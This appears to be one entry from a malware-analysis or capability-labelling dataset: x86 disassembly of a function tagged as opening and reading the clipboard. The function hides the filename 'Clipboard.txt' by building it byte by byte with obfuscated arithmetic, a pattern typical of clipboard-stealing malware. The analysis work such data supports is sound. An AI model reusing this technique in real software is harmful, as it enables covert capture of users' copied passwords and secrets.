Function at 0x4319d0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
push eax
mov esi, esp
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
jmp 0x4319f6
xor ebx, ebx
test al, 1
jne 0x431a01
jmp 0x431cfc
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
cmp edi, 0
setne al
xor ebx, ebx
test al, 1
jne 0x431a3e
jmp 0x431cf6
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [ebp - 0x2c], eax
mov dword [esp], eax
call fcn.00409960
add esp, 4
cmp eax, 0
setne cl
xor ebx, ebx
test cl, 1
jne 0x431a6d
jmp 0x431cea
mov ebx, eax
mov al, byte [esi]
mov byte [ebp - 0x14], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x43
xor eax, 0xbc
mov byte [ebp - 0x28], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x6c
xor eax, 0xbd
mov byte [ebp - 0x27], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x69
xor eax, 0xbe
mov byte [ebp - 0x26], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x70
xor eax, 0xbf
mov byte [ebp - 0x25], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x62
xor eax, 0xc0
mov byte [ebp - 0x24], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x6f
xor eax, 0xc1
mov byte [ebp - 0x23], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x61
xor eax, 0xc2
mov byte [ebp - 0x22], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x72
xor eax, 0xc3
mov byte [ebp - 0x21], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x64
xor eax, 0xc4
mov byte [ebp - 0x20], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x2e
xor eax, 0xc5
mov byte [ebp - 0x1f], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x74
xor eax, 0xc6
mov byte [ebp - 0x1e], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x78
xor eax, 0xc7
mov byte [ebp - 0x1d], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
add eax, 0x74
xor eax, 0xc8
mov byte [ebp - 0x1c], al
sub esp, 8
mov dword [esp], 0x6b704bbc
mov dword [esp + 4], 5
call fcn.00419ab0
add esp, 8
xor eax, 0xc9
mov byte [ebp - 0x1b], al
mov eax, 0xe
mov byte [ebp + eax - 0x28], 0
add eax, 1
cmp eax, 0x14
jne 0x431c7c
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x14
jae 0x431cc5
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [ebp + ecx - 0x28]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432050
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x28], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
jmp 0x431c90
lea eax, [ebp - 0x28]
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp + 8], ebx
call fcn.0040a250
mov bl, al
and bl, 1
jmp 0x431ce8
jmp 0x431cea
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret